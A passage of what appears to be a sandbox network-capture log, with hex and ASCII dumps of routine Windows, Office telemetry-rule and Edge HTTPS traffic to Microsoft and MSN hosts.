22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-25 17:28:40 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-25 17:28:40 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-25 17:28:40 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-25 17:28:40 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-25 17:28:40 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49826	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 17:28:40 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: 558d28e9-e3e3-4b68-946e-1b540d3ae02b PPServer: PPV: 30 H: PH1PEPF00011E8C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:40 GMT Connection: close Content-Length: 11389
2024-11-25 17:28:41 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:40 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-174c587ffdfmrvb9hC1TEBtn38000000066g00000000p3u9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:41 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-174c587ffdf4zw2thC1TEBu340000000068000000000sf6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:41 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 876f21bf-101e-007a-0bbf-3e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-178bfbc474bh5zbqhC1NYCkdug00000007t0000000003z20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:41 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-174c587ffdf9xbcchC1TEBxkz4000000062g00000000hak2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:41 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 375df28d-601e-00ab-5b0b-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-178bfbc474bfw4gbhC1NYCunf400000007p000000000x6qa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49821	23.200.88.38	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:42 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1
2024-11-25 17:28:42 UTC	1005	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Mon, 25 Nov 2024 17:28:42 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.200.89.160,b=1642407668,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.200.89.160 Akamai-Request-ID: 61e526f4 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.a059c817.1732555722.61e526f4 Vary: Origin
2024-11-25 17:28:42 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49839	13.107.246.40	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:42 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:43 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 0d5171c6-001e-0023-5c06-3f07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172843Z-178bfbc474b9fdhphC1NYCac0n00000007t0000000004esh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
